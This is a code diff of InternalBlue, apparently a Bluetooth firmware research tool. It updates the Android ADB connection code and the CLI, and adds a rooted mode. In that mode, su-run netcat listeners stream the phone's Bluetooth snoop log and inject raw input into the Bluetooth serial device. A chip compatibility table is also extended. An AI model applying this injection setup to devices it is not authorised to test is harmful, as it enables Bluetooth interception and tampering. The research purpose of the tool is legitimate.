||||
break
|
||||
record_hdr += recv_data
|
||||
except socket.timeout:
|
||||
pass # this is ok. just try again without error
|
||||
pass # this is ok. just try again without error
|
||||
|
||||
if not record_hdr or len(record_hdr) != 24:
|
||||
if not self.exit_requested:
|
||||
@@ -143,27 +203,31 @@ class ADBCore(InternalBlue):
|
||||
self.btsnooplog_file.write(record_hdr)
|
||||
self.btsnooplog_file.flush()
|
||||
|
||||
orig_len, inc_len, flags, drops, time64 = struct.unpack( ">IIIIq", record_hdr)
|
||||
orig_len, inc_len, flags, drops, time64 = struct.unpack(
|
||||
">IIIIq", record_hdr
|
||||
)
|
||||
|
||||
# Read the record data
|
||||
record_data = b''
|
||||
while(not self.exit_requested and len(record_data) < inc_len):
|
||||
record_data = bytearray()
|
||||
while not self.exit_requested and len(record_data) < inc_len:
|
||||
try:
|
||||
recv_data = self.s_snoop.recv(inc_len - len(record_data))
|
||||
if len(recv_data) == 0:
|
||||
log.info("recvThreadFunc: bt_snoop socket was closed by remote site. stopping..")
|
||||
log.info(
|
||||
"recvThreadFunc: bt_snoop socket was closed by remote site. stopping.."
|
||||
)
|
||||
self.exit_requested = True
|
||||
break
|
||||
record_data += recv_data
|
||||
record_data += bytearray(recv_data)
|
||||
except socket.timeout:
|
||||
pass # this is ok. just try again without error
|
||||
pass # this is ok. just try again without error
|
||||
|
||||
if not record_data or len(record_data) != inc_len:
|
||||
if not self.exit_requested:
|
||||
log.warn("recvThreadFunc: Cannot recv data. stopping.")
|
||||
self.exit_requested = True
|
||||
break
|
||||
|
||||
|
||||
if self.write_btsnooplog:
|
||||
self.btsnooplog_file.write(record_data)
|
||||
self.btsnooplog_file.flush()
|
||||
@@ -174,9 +238,18 @@ class ADBCore(InternalBlue):
|
||||
parsed_time = None
|
||||
|
||||
# Put all relevant infos into a tuple. The HCI packet is parsed with the help of hci.py.
|
||||
record = (hci.parse_hci_packet(record_data), orig_len, inc_len, flags, drops, parsed_time)
|
||||
record = (
|
||||
hci.parse_hci_packet(record_data),
|
||||
orig_len,
|
||||
inc_len,
|
||||
flags,
|
||||
drops,
|
||||
parsed_time,
|
||||
)
|
||||
|
||||
log.debug("_recvThreadFunc Recv: [" + str(parsed_time) + "] " + str(record[0]))
|
||||
log.debug(
|
||||
"_recvThreadFunc Recv: [" + str(parsed_time) + "] " + str(record[0])
|
||||
)
|
||||
|
||||
# Put the record into all queues of registeredHciRecvQueues if their
|
||||
# filter function matches.
|
||||
@@ -184,8 +257,10 @@ class ADBCore(InternalBlue):
|
||||
if filter_function == None or filter_function(record):
|
||||
try:
|
||||
queue.put(record, block=False)
|
||||
except Queue.Full:
|
||||
log.warn("recvThreadFunc: A recv queue is full. dropping packets..")
|
||||
except queue2k.Full:
|
||||
log.warn(
|
||||
"recvThreadFunc: A recv queue is full. dropping packets.."
|
||||
)
|
||||
|
||||
# Call all callback functions inside registeredHciCallbacks and pass the
|
||||
# record as argument.
|
||||
@@ -193,10 +268,10 @@ class ADBCore(InternalBlue):
|
||||
callback(record)
|
||||
|
||||
# Check if the stackDumpReceiver has noticed that the chip crashed.
|
||||
if self.stackDumpReceiver.stack_dump_has_happend:
|
||||
# A stack dump has happend!
|
||||
log.warn("recvThreadFunc: The controller send a stack dump.")
|
||||
# self.exit_requested = True
|
||||
# if self.stackDumpReceiver and self.stackDumpReceiver.stack_dump_has_happend:
|
||||
# A stack dump has happend!
|
||||
# log.warn("recvThreadFunc: The controller sent a stack dump.")
|
||||
# self.exit_requested = True
|
||||
|
||||
log.debug("Receive Thread terminated.")
|
||||
|
||||
@@ -212,12 +287,17 @@ class ADBCore(InternalBlue):
|
||||
# (with multiple attached Android devices) we must not hard code the
|
||||
# forwarded port numbers. Therefore we choose the port numbers
|
||||
# randomly and hope that they are not already in use.
|
||||
self.hciport = random.randint(60000, 65535)
|
||||
log.debug("_setupSockets: Selected random ports snoop=%d and inject=%d" % (self.hciport, self.hciport + 1))
|
||||
self.hciport = random.randint(
|
||||
60000, 65534
|
||||
) # minus 1, as we are using hciport + 1
|
||||
log.debug(
|
||||
"_setupSockets: Selected random ports snoop=%d and inject=%d"
|
||||
% (self.hciport, self.hciport + 1)
|
||||
)
|
||||
|
||||
# Forward ports 8872 and 8873. Ignore log.info() outputs by the adb function.
|
||||
saved_loglevel = context.log_level
|
||||
context.log_level = 'warn'
|
||||
context.log_level = "warn"
|
||||
try:
|
||||
adb.adb(["forward", "tcp:%d" % (self.hciport), "tcp:8872"])
|
||||
adb.adb(["forward", "tcp:%d" % (self.hciport + 1), "tcp:8873"])
|
||||
@@ -230,7 +310,7 @@ class ADBCore(InternalBlue):
|
||||
# Connect to hci injection port
|
||||
self.s_inject = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
try:
|
||||
self.s_inject.connect(('127.0.0.1', self.hciport + 1))
|
||||
self.s_inject.connect(("127.0.0.1", self.hciport + 1))
|
||||
self.s_inject.settimeout(0.5)
|
||||
except socket.error:
|
||||
log.warn("Could not connect to adb. Is your device authorized?")
|
||||
@@ -238,17 +318,19 @@ class ADBCore(InternalBlue):
|
||||
|
||||
# Connect to hci snoop log port
|
||||
self.s_snoop = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
self.s_snoop.connect(('127.0.0.1', self.hciport))
|
||||
self.s_snoop.connect(("127.0.0.1", self.hciport))
|
||||
self.s_snoop.settimeout(0.5)
|
||||
|
||||
# Read btsnoop header
|
||||
if (self._read_btsnoop_hdr() == None):
|
||||
if self._read_btsnoop_hdr() == None:
|
||||
log.warn("Could not read btsnoop header")
|
||||
self.s_inject.close()
|
||||
self.s_snoop.close()
|
||||
self.s_inject = self.s_snoop = None
|
||||
context.log_level = "warn"
|
||||
adb.adb(["forward", "--remove", "tcp:%d" % (self.hciport)])
|
||||
adb.adb(["forward", "--remove", "tcp:%d" % (self.hciport + 1)])
|
||||
context.log_level = saved_loglevel
|
||||
return False
|
||||
return True
|
||||
|
||||
@@ -257,20 +339,102 @@ class ADBCore(InternalBlue):
|
||||
Close s_snoop and s_inject sockets. Remove port forwarding with adb.
|
||||
"""
|
||||
|
||||
if (self.s_inject != None):
|
||||
if self.s_inject != None:
|
||||
self.s_inject.close()
|
||||
self.s_inject = None
|
||||
if (self.s_snoop != None):
|
||||
if self.s_snoop != None:
|
||||
self.s_snoop.close()
|
||||
self.s_snoop = None
|
||||
|
||||
saved_loglevel = context.log_level
|
||||
context.log_level = 'warn'
|
||||
context.log_level = "warn"
|
||||
if self.hciport is not None:
|
||||
hciport = self.hciport
|
||||
try:
|
||||
adb.adb(["forward", "--remove", f"tcp:{hciport}"])
|
||||
adb.adb(["forward", "--remove", f"tcp:{hciport + 1}"])
|
||||
except PwnlibException as e:
|
||||
log.warn("Removing adb port forwarding failed: " + str(e))
|
||||
return False
|
||||
finally:
|
||||
context.log_level = saved_loglevel
|
||||
|
||||
def _setupSerialSu(self):
|
||||
"""
|
||||
To run on any rooted device, we can also use some shellscripting.
|
||||
This is slower but at least works on any device.
|
||||
Commands on a S10e with Samsung Stock ROM + Magisk + busybox:
|
||||
|
||||
tail -f -n +0 /data/log/bt/btsnoop_hci.log | nc -l -p 8872
|
||||
|
||||
nc -l -p 8873 >/sdcard/internalblue_input.bin
|
||||
tail -f /sdcard/internalblue_input.bin >>/dev/ttySAC1
|
||||
|
||||
Locations of the Bluetooth serial interface and btsnoop log file might differ.
|
||||
The second part *could* be combined, but it somehow does not work (SELinux?).
|
||||
|
||||
The ADB Python bindings will kill the processes automatically :)
|
||||
|
||||
"""
|
||||
|
||||
# In sending direction, the format is different.
|
||||
self.serial = True
|
||||
|
||||
saved_loglevel = context.log_level
|
||||
context.log_level = "warn"
|
||||
|
||||
try:
|
||||
adb.adb(["forward", "--remove", "tcp:%d" % (self.hciport)])
|
||||
adb.adb(["forward", "--remove", "tcp:%d" % (self.hciport + 1)])
|
||||
# check dependencies
|
||||
if adb.which("su") is None:
|
||||
log.critical("su not found, rooted smartphone required!")
|
||||
return False
|
||||
|
||||
if adb.process(["su", "-c", "which", "nc"]).recvall() == "":
|
||||
log.critical("nc not found, install busybox!")
|
||||
return False
|
||||
|
||||
# automatically detect the proper serial device with lsof
|
||||
logfile = (
|
||||
adb.process(
|
||||
["su", "-c", "lsof | grep btsnoop_hci.log | awk '{print $NF}'"]
|
||||
)
|
||||
.recvall()
|
||||
.strip()
|
||||
.decode("utf-8")
|
||||
)
|
||||
log.info("Android btsnoop logfile %s...", logfile)
|
||||
interface = (
|
||||
adb.process(
|
||||
["su", "-c", "lsof | grep bluetooth | grep tty | awk '{print $NF}'"]
|
||||
)
|
||||
.recvall()
|
||||
.strip()
|
||||
.decode("utf-8")
|
||||
)
|
||||
log.info("Android Bluetooth interface %s...", interface)
|
||||
|
||||
if logfile == "":
|
||||
log.critical(
|
||||
"Could not find Bluetooth logfile. Enable Bluetooth snoop logging."
|
||||
)
|
||||
return False
|
||||
|
||||
if interface == "":
|
||||
log.critical("Could not find Bluetooth interface. Enable Bluetooth.")
|
||||
return False
|
||||
|
||||
# spawn processes
|
||||
adb.process(["su", "-c", "tail -f -n +0 %s | nc -l -p 8872" % logfile])
|
||||
adb.process(["su", "-c", "nc -l -p 8873 >/sdcard/internalblue_input.bin"])
|
||||
adb.process(
|
||||
["su", "-c", "tail -f /sdcard/internalblue_input.bin >>%s" % interface]
|
||||
)
|
||||
sleep(2)
|
||||
|
||||
except PwnlibException as e:
|
||||
log.warn("Removing adb port forwarding failed: " + str(e))
|
||||
log.warn("Serial scripting setup failed: " + str(e))
|
||||
return False
|
||||
finally:
|
||||
context.log_level = saved_loglevel
|
||||
|
||||
return True
|
||||
|
||||
+207
-55
@@ -28,77 +28,147 @@
|
||||
# Software.
|
||||
|
||||
|
||||
from pwn import *
|
||||
from __future__ import print_function
|
||||
|
||||
import socket
|
||||
import sys
|
||||
from builtins import str
|
||||
import internalblue.utils.pwnlib_wrapper as pwnlib
|
||||
import os
|
||||
import traceback
|
||||
import argparse
|
||||
|
||||
from adbcore import ADBCore
|
||||
from hcicore import HCICore
|
||||
from ioscore import iOSCore
|
||||
from .adbcore import ADBCore
|
||||
from .hcicore import HCICore
|
||||
from sys import platform
|
||||
|
||||
import cmds
|
||||
from . import cmds
|
||||
|
||||
try:
|
||||
import typing
|
||||
from typing import List, Optional
|
||||
from internalblue.core import InternalBlue
|
||||
from . import DeviceTuple
|
||||
|
||||
except:
|
||||
pass
|
||||
|
||||
HISTFILE = "_internalblue.hist"
|
||||
|
||||
|
||||
def print_banner():
|
||||
banner = """\
|
||||
banner = r"""
|
||||
____ __ _____ __
|
||||
/ _/__ / /____ _______ ___ _/ / _ )/ /_ _____
|
||||
_/ // _ \/ __/ -_) __/ _ \/ _ `/ / _ / / // / -_)
|
||||
/___/_//_/\__/\__/_/ /_//_/\_,_/_/____/_/\_,_/\__/
|
||||
|
||||
|
||||
type <help> for usage information!\n\n"""
|
||||
type <help> for usage information!
|
||||
"""
|
||||
for line in banner:
|
||||
term.output(text.blue(line))
|
||||
pwnlib.term.output(pwnlib.text.blue(line))
|
||||
|
||||
def commandLoop(internalblue):
|
||||
|
||||
def commandLoop(internalblue, init_commands=None):
|
||||
cmdstack = init_commands.split(";")[::-1] if init_commands else None
|
||||
while internalblue.running and not internalblue.exit_requested:
|
||||
cmd_instance = None
|
||||
try:
|
||||
cmdline = term.readline.readline(prompt='> ').strip()
|
||||
cmdword = cmdline.split(' ')[0].split('=')[0]
|
||||
if(cmdword == ''):
|
||||
if cmdstack:
|
||||
cmdline = cmdstack.pop().strip()
|
||||
else:
|
||||
cmdline = (
|
||||
pwnlib.term.readline.readline(prompt="> ").strip().decode("utf-8")
|
||||
)
|
||||
cmdword = cmdline.split(" ")[0].split("=")[0]
|
||||
if cmdword == "":
|
||||
continue
|
||||
log.debug("Command Line: [[" + cmdword + "]] " + cmdline)
|
||||
pwnlib.log.debug("Command Line: [[" + cmdword + "]] " + cmdline)
|
||||
matching_cmd = cmds.findCmd(cmdword)
|
||||
if matching_cmd == None:
|
||||
log.warn("Command unknown: " + cmdline)
|
||||
pwnlib.log.warn("Command unknown: " + cmdline)
|
||||
continue
|
||||
cmd_instance = matching_cmd(cmdline, internalblue)
|
||||
|
||||
if(not cmd_instance.work()):
|
||||
log.warn("Command failed: " + str(cmd_instance))
|
||||
if not cmd_instance.work():
|
||||
pwnlib.log.warn("Command failed: " + str(cmd_instance))
|
||||
except ValueError as e:
|
||||
log.warn("commandLoop: ValueError: " + str(e))
|
||||
continue
|
||||
pwnlib.log.warn("commandLoop: ValueError: " + str(e))
|
||||
raise
|
||||
except KeyboardInterrupt:
|
||||
if(cmd_instance != None):
|
||||
if cmd_instance != None:
|
||||
cmd_instance.abort_cmd()
|
||||
else:
|
||||
log.info("Got Ctrl-C; exiting...")
|
||||
pwnlib.log.info("Got Ctrl-C; exiting...")
|
||||
internalblue.exit_requested = True
|
||||
break
|
||||
except AssertionError as e:
|
||||
raise
|
||||
except socket.error as e:
|
||||
if e.args == (1, "Operation not permitted"):
|
||||
pwnlib.log.critical(
|
||||
"Received an 'Operation not permitted' socket.error, you might need root for the command '{}'".format(
|
||||
cmdline
|
||||
)
|
||||
)
|
||||
pwnlib.log.critical(traceback.format_exc())
|
||||
except Exception as e:
|
||||
internalblue.exit_requested = True # Make sure all threads terminate
|
||||
log.critical("Uncaught exception (%s). Abort." % str(e))
|
||||
internalblue.exit_requested = True # Make sure all threads terminate
|
||||
pwnlib.log.critical("Uncaught exception (%s). Abort." % str(e))
|
||||
print(traceback.format_exc())
|
||||
break
|
||||
raise
|
||||
cmd_instance = None
|
||||
|
||||
|
||||
# Main Program Start
|
||||
def internalblue_cli():
|
||||
print_banner()
|
||||
def _parse_argv(argv):
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("--data-directory", "-d", help="Set data directory. Default: ~/.internalblue")
|
||||
parser.add_argument("--verbose", "-v", help="Set log level to DEBUG", action="store_true")
|
||||
parser.add_argument("--ios-device", "-i", help="Tell internalblue to connect to a remote iPhone HCI socket. Specify socket IP address and port")
|
||||
args = parser.parse_args()
|
||||
parser.add_argument(
|
||||
"--data-directory", "-d", help="Set data directory. Default: ~/.internalblue"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--verbose", "-v", help="Set log level to DEBUG", action="store_true"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--ios-device",
|
||||
"-i",
|
||||
help="Tell internalblue to connect to a remote iPhone HCI socket. Specify socket IP address and port (i.e., 172.20.10.1:1234).",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--serialsu",
|
||||
"-s",
|
||||
help="On ADB, directly try su/serial/busybox scripting, if you do not have a special bluetooth.default.so file.",
|
||||
action="store_true",
|
||||
)
|
||||
parser.add_argument("--trace", help="Trace hci connection")
|
||||
parser.add_argument("--device", help="Specify device/core to be used")
|
||||
parser.add_argument(
|
||||
"--commands",
|
||||
"-c",
|
||||
help="CLI command to run before prompting, seperated by ';' (used for easier testing)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--replay",
|
||||
help="Intercept and replace every communication with the core with the one in the specified file",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--save", help="Store a trace into the file that can be used with --replay"
|
||||
)
|
||||
return parser.parse_args(argv)
|
||||
|
||||
if args.data_directory != None:
|
||||
|
||||
|
||||
# Entry point for the `internalblue` command entry point defined in setup.py
|
||||
def internalblue_entry_point():
|
||||
print_banner()
|
||||
return internalblue_cli(sys.argv[1:])
|
||||
|
||||
# Main Program Start
|
||||
def internalblue_cli(argv, args=None):
|
||||
# print_banner()
|
||||
|
||||
args = args or _parse_argv(argv)
|
||||
|
||||
if args.data_directory is not None:
|
||||
data_directory = args.data_directory
|
||||
else:
|
||||
data_directory = os.path.expanduser("~") + "/.internalblue"
|
||||
@@ -115,27 +185,108 @@ def internalblue_cli():
|
||||
for cmd in cmds.getCmdList():
|
||||
for keyword in cmd.keywords:
|
||||
cmd_keywords.append(keyword)
|
||||
readline_completer = term.completer.LongestPrefixCompleter(words=cmd_keywords)
|
||||
term.readline.set_completer(readline_completer)
|
||||
readline_completer = pwnlib.term.completer.LongestPrefixCompleter(
|
||||
words=cmd_keywords
|
||||
)
|
||||
pwnlib.term.readline.set_completer(readline_completer)
|
||||
|
||||
if args.trace:
|
||||
from .socket_hooks import hook
|
||||
from internalblue import socket_hooks
|
||||
|
||||
HookClass = getattr(socket_hooks, args.trace)
|
||||
hook(HCICore, HookClass)
|
||||
hook(ADBCore, HookClass)
|
||||
elif args.save:
|
||||
from .socket_hooks import hook, TraceToFileHook
|
||||
|
||||
hook(HCICore, TraceToFileHook, filename=args.save)
|
||||
hook(ADBCore, TraceToFileHook, filename=args.save)
|
||||
|
||||
# Initalize cores and get devices
|
||||
if args.ios_device:
|
||||
connection_methods = [iOSCore(args.ios_device, log_level=log_level,
|
||||
data_directory=data_directory)]
|
||||
else:
|
||||
connection_methods = [
|
||||
ADBCore(log_level=log_level, data_directory=data_directory),
|
||||
HCICore(log_level=log_level, data_directory=data_directory)]
|
||||
# As macOS has additional dependencies (objc), only import it here if needed
|
||||
connection_methods = [] # type: List[InternalBlue]
|
||||
if args.replay:
|
||||
from .socket_hooks import hook, ReplaySocket
|
||||
from .macoscore import macOSCore
|
||||
|
||||
devices = []
|
||||
replay_devices = ["macos_replay", "adb_replay", "hci_replay", "ios_replay"]
|
||||
if args.device == "macos_replay":
|
||||
from .macoscore import macOSCore
|
||||
|
||||
hook(macOSCore, ReplaySocket, filename=args.replay)
|
||||
connection_methods = [
|
||||
macOSCore(
|
||||
log_level=log_level, data_directory=data_directory, replay=True
|
||||
)
|
||||
]
|
||||
elif args.device == "hci_replay":
|
||||
hook(HCICore, ReplaySocket, filename=args.replay)
|
||||
connection_methods = [
|
||||
HCICore(log_level=log_level, data_directory=data_directory, replay=True)
|
||||
]
|
||||
elif args.device == "adb_replay":
|
||||
hook(ADBCore, ReplaySocket, filename=args.replay)
|
||||
connection_methods = [
|
||||
ADBCore(log_level=log_level, data_directory=data_directory, replay=True)
|
||||
]
|
||||
elif args.device == "ios_replay":
|
||||
raise NotImplementedError("ios replay is not implemented yet")
|
||||
else:
|
||||
raise ValueError(
|
||||
"--device is required with --replay and has to be one of {}".format(
|
||||
replay_devices
|
||||
)
|
||||
)
|
||||
else:
|
||||
# if /var/run/usbmuxd exists, we can check for iOS devices
|
||||
if os.path.exists("/var/run/usbmuxd"):
|
||||
from .ioscore import iOSCore
|
||||
connection_methods.append(iOSCore(log_level=log_level, data_directory=data_directory))
|
||||
|
||||
if platform == "darwin":
|
||||
try:
|
||||
from .macoscore import macOSCore
|
||||
connection_methods.append(macOSCore(log_level=log_level, data_directory=data_directory, replay=(args.replay and args.device == "mac")))
|
||||
except ImportError:
|
||||
pwnlib.log.warn("Couldn't import macOSCore. Is IOBluetoothExtended.framework installed?")
|
||||
if args.trace:
|
||||
hook(macOSCore, HookClass)
|
||||
elif args.save:
|
||||
hook(macOSCore, TraceToFileHook, filename=args.save)
|
||||
else:
|
||||
connection_methods.append(HCICore(log_level=log_level, data_directory=data_directory))
|
||||
|
||||
# ADB core can always be used
|
||||
connection_methods.append(
|
||||
ADBCore(
|
||||
log_level=log_level, data_directory=data_directory, serial=args.serialsu
|
||||
))
|
||||
|
||||
devices = [] # type: List[DeviceTuple]
|
||||
for connection_method in connection_methods:
|
||||
devices.extend(connection_method.device_list())
|
||||
|
||||
device = None # type: Optional[DeviceTuple]
|
||||
if len(devices) > 0:
|
||||
if len(devices) == 1:
|
||||
if args.replay:
|
||||
# There should only be one device that was created when --replay was passed
|
||||
device = devices[0]
|
||||
elif args.device:
|
||||
matching_devices = [dev for dev in devices if dev[1] == args.device]
|
||||
if len(matching_devices) > 1:
|
||||
pwnlib.log.critical("Found multiple matching devices")
|
||||
exit(-1)
|
||||
elif len(matching_devices) == 1:
|
||||
pwnlib.log.info("Found device is: {}".format(matching_devices[0]))
|
||||
device = matching_devices[0]
|
||||
else:
|
||||
pwnlib.log.critical("No matching devices found")
|
||||
exit(-1)
|
||||
elif len(devices) == 1:
|
||||
device = devices[0]
|
||||
else:
|
||||
i = options('Please specify device:', [d[2] for d in devices], 0)
|
||||
i = pwnlib.options("Please specify device:", [d[2] for d in devices], 0)
|
||||
device = devices[i]
|
||||
|
||||
# Setup device
|
||||
@@ -144,29 +295,30 @@ def internalblue_cli():
|
||||
|
||||
# Restore readline history:
|
||||
if os.path.exists(reference.data_directory + "/" + HISTFILE):
|
||||
readline_history = read(reference.data_directory + "/" + HISTFILE)
|
||||
term.readline.history = readline_history.split('\n')
|
||||
readline_history = pwnlib.read(reference.data_directory + "/" + HISTFILE)
|
||||
pwnlib.term.readline.history = readline_history.split(b"\n")
|
||||
|
||||
# Connect to device
|
||||
if not reference.connect():
|
||||
log.critical("No connection to target device.")
|
||||
pwnlib.log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
# Enter command loop (runs until user quits)
|
||||
commandLoop(reference)
|
||||
pwnlib.log.info("Starting commandLoop for reference {}".format(reference))
|
||||
commandLoop(reference, init_commands=args.commands)
|
||||
|
||||
# shutdown connection
|
||||
reference.shutdown()
|
||||
|
||||
# Save readline history:
|
||||
f = open(reference.data_directory + "/" + HISTFILE, "w")
|
||||
f.write("\n".join(term.readline.history))
|
||||
f.close()
|
||||
# TODO: - This causes issues, have to fix ASAP
|
||||
# f = open(reference.data_directory + "/" + HISTFILE, "w")
|
||||
# f.write("\n".join(term.readline.history))
|
||||
# f.close()
|
||||
|
||||
# Cleanup
|
||||
log.info("Goodbye")
|
||||
pwnlib.log.info("Goodbye")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
internalblue_cli()
|
||||
|
||||
internalblue_cli(sys.argv[1:])
|
||||
|
||||
+1045
-551
File diff suppressed because it is too large
Load Diff
+896
-514
File diff suppressed because it is too large
Load Diff
+36
-75
@@ -9,49 +9,65 @@ Results are based on real world testing, this list is very incomplete. If you kn
|
||||
|
||||
Vendor | Version | SubVersion | Firmware | Devices | Firmware Build Date
|
||||
-------| ------- | ---------- | ----------- | ------- | ----------
|
||||
0x000f | 0x04 | 0x4217 | BCM4329B1 | iPhone 4
|
||||
0x000f | 0x04 | 0x4217 | BCM4329B1 | iPhone 4, Nexus One, iPod touch (A1367)
|
||||
0x000f | 0x04 | 0x21d0 | BCM2046 | iMac 27" late 2009
|
||||
0x000f | 0x04 | 0x422a | BCM4331 | MacBook Pro early 2011
|
||||
0x000f | 0x04 | 0x4203 | | HP ProBook 6550b and 6450b
|
||||
0x000f | 0x05 | 0x4203 | BCM2034B | Thinkpad T420
|
||||
0x000f | 0x05 | 0x610d | | iPad A1395
|
||||
0x000f | 0x06 | 0x220e | BCM20702A1 | Asus USB Bluetooth dongle
|
||||
0x000f | 0x05 | 0x240c | BCM20733 | Magic Keyboard
|
||||
0x000f | 0x06 | 0x220e | BCM20702A1 | Asus USB Bluetooth dongle, HP Elitebook 820 G2
|
||||
0x000f | 0x06 | 0x229b | BCM20702A3 | MacBook Pro 13" mid 2012 (A1278)
|
||||
0x000f | 0x06 | 0x4103 | BCM4330B1 | iPhone 4s
|
||||
0x000f | 0x06 | 0x4196 | BCM20702B0 | MacBook Pro mid 2014, iMac (Retina 5k, 27", ultimo 2014)
|
||||
0x000f | 0x06 | 0x410d | | BlackBerry Q5
|
||||
0x000f | 0x06 | 0x4196 | BCM20702B0 | MacBook Pro mid 2014, iMac (Retina 5k, 27", ultimo 2014), MacBook Air 2017 13"
|
||||
0x000f | 0x06 | 0x6109 | | Samsung Galaxy Note 10.1 2014 WiFi (SM-P600)
|
||||
0x000f | 0x07 | 0x220f | BCM20736S | Equiva Radiator Thermostat CC-RT-BLE-EQ
|
||||
0x000f | 0x07 | 0x2203 | BCM43342 | iPhone 5s
|
||||
0x000f | 0x07 | 0x2209 | BCM43430A1 | Raspberry Pi 3 | Jun 2 2014
|
||||
0x000f | 0x07 | 0x230f | BCM4356A2 | Xperia Z5
|
||||
0x000f | 0x07 | 0x410d | BCM4334 | iPhone 5 (A1429)
|
||||
0x000f | 0x07 | 0x6109 | BCM4335C0 (BCM4339) | Nexus 5, Xperia Z3 Compact, Samsung Galaxy Note 3, LG G4 (LG-h815), Samsung Galaxy Note 10.1 2014 WiFi (SM-P600) | Dec 11 2012
|
||||
0x000f | 0x08 | 0x6119 | BCM4345C0 | Raspberry Pi 3+, Honor 8 | Aug 19 2014
|
||||
0x000f | 0x07 | 0x4606 | BCM4324 | iPad Air (A1474)
|
||||
0x000f | 0x07 | 0x6109 | BCM4335C0 (BCM4339) | Nexus 5, Xperia Z3 Compact, Samsung Galaxy Note 3, LG G4 (LG-h815) | Dec 11 2012
|
||||
0x0131 | 0x08 | 0x1200 | | Philips Sonicare (Cypress SoC CY8C4247LQI-BL483, not sure if compatible)
|
||||
0x000f | 0x08 | 0x21a1 | | MacBook Pro Retina 13" early 2015
|
||||
0x000f | 0x08 | 0x21a6 | BCM20703A1 | MacBook Pro early 2015
|
||||
0x000f | 0x08 | 0x21a7 | BCM20703A1 | MacBook Pro early 2015 (with security fix)
|
||||
0x000f | 0x08 | 0x21a8 | BCM20703A1 | MacBook Pro early 2015 (with security fix, 10.14.6)
|
||||
0x000f | 0x08 | 0x220b | CYW20706 | CYW920706 Evaluation Kit, same ROM as MacBook Pro 2016 | Oct 22 2015
|
||||
0x000f | 0x08 | 0x220b | BCM20707 | Fitbit Ionic
|
||||
0x000f | 0x08 | 0x2230 | BCM20703A2 | MacBook Pro 2016 (A1707) | Oct 22 2015
|
||||
0x000f | 0x08 | 0x2246 | BCM20703A2 | MacBook Pro 2016
|
||||
0x000f | 0x08 | 0x2247 | BCM20703A2 | MacBook Pro 2016 (with security fix)
|
||||
0x000f | 0x08 | 0x224b | BCM20703A2 | MacBook Pro 2016, 2017
|
||||
0x000f | 0x08 | 0x2246 | BCM20703A2 | MacBook Pro 2016 | Oct 22 2015
|
||||
0x000f | 0x08 | 0x2247 | BCM20703A2 | MacBook Pro 2016 (with security fix) | Oct 22 2015
|
||||
0x000f | 0x08 | 0x224b | BCM20703A2 | MacBook Pro 2016, 2017, iMac 2017 Retina 5k | Oct 22 2015
|
||||
0x000f | 0x08 | 0x224c | BCM20703A2 | MacBook Pro 15" 2017 (A1707) | Oct 22 2015
|
||||
0x000f | 0x08 | 0x240f | BCM4358A3 | Nexus 6P, Samsung Galaxy S6, Samsung Galaxy S6 edge | Oct 23 2014
|
||||
0x000f | 0x08 | 0x4109 | BCM4345 | iPhone 6
|
||||
0x000f | 0x08 | 0x4109 | BCM4345B0 | iPhone 6 (Tempranillo) | Jul 15 2013
|
||||
0x000f | 0x08 | 0x430a | | iPad Pro 2016 (MLMW2FD/A)
|
||||
0x000f | 0x08 | 0x6103 | BCM4355C0 | iPhone 7 (A1778) | Sep 14 2015
|
||||
0x000f | 0x08 | 0x6106 | | Samsung Galaxy S7
|
||||
0x000f | 0x08 | 0x617e | BCM4350 | MacBook Pro 2017 (Retina 12"), MacBook Pro (13", 2016)
|
||||
0x000f | 0x08 | 0x6206 | | iPhone SE
|
||||
0x000f | 0x08 | 0x6103 | BCM4355C0 | iPhone 7 A1778 (Elsa) | Sep 14 2015
|
||||
0x000f | 0x08 | 0x6106 | | Samsung Galaxy S7, Huawei P20
|
||||
0x000f | 0x08 | 0x617e | BCM4350 | MacBook Pro 2017 (Retina 12", 13"), MacBook Pro (13", 2016) | May 28 2013
|
||||
0x000f | 0x08 | 0x6119 | BCM4345C0 | Raspberry Pi 3+, Honor 8, Xperia X | Aug 19 2014
|
||||
0x000f | 0x08 | 0x6206 | BCM4345C1 | iPhone SE (Hans), iPod Touch 7th Generation (MVJ72FD/A) | Jan 27 2015
|
||||
0x000f | 0x09 | 0x102f | BCM4355 | MacBook Air 2019 13" Retina | Mar 7 2017
|
||||
0x000f | 0x09 | 0x112e | BCM4364B0 | iMac Retina 4K 21.5"/27" 2019 macOS Mojave 10.14.6 | Aug 21 2015
|
||||
0x000f | 0x09 | 0x112f | BCM4364B0 | MacBook Pro 2019 13" 4x Thunderbold | Aug 21 2015
|
||||
0x000f | 0x09 | 0x103f | BCM4364 | iMac Pro 2017
|
||||
0x000f | 0x09 | 0x2023 | BCM4377B3 | MacBook Pro 2019 13" 2x Thunderbold (Formosa) | Feb 28 2018
|
||||
0x000f | 0x09 | 0x203f | BCM4364 | MacBook Pro (13", 2018)
|
||||
0x000f | 0x09 | 0x2040 | | Apple Watch Series 3
|
||||
0x0131 | 0x09 | 0x4208 | CYW20819A1 | ULP BLE/BR/EDR Bluetooth 5 Wireless MCU Evaluation Kit CYW920819EVB-02 | May 22 2018
|
||||
0x000f | 0x09 | 0x2043 | BCM4346B0 | MacBook Pro 2019 15"
|
||||
0x0131 | 0x09 | 0x220c | CYW20819A1 | ULP BLE/BR/EDR Bluetooth 5 Wireless MCU Evaluation Kit CYW920819EVB-02 | May 22 2018
|
||||
0x000f | 0x09 | 0x411a | BCM4347B0 (BCM4361B0) | Samsung Galaxy S8 | Jun 3 2016
|
||||
0x0131 | 0x09 | 0x4208 | CYW20735B1 | BLE/BR Bluetooth 5.0 Evaluation Kit CYW920735Q60EVB-01 | Jan 18 2018
|
||||
0x000f | 0x09 | 0x4208 | BCM4375B1 | Samsung Galaxy S10e, Samsung Galaxy S10, Samsung Galaxy S10+ (local version is 0x1111) | April 13 2018
|
||||
0x000f | 0x09 | 0x420e | | iPhone XR, iPhone X
|
||||
0x000f | 0x09 | 0x4208 | BCM4375B1 | Samsung Galaxy S10e, Samsung Galaxy S10, Samsung Galaxy S10+, Samsung Galaxy Note 10/10+ (local version is 0x1111) | April 13 2018
|
||||
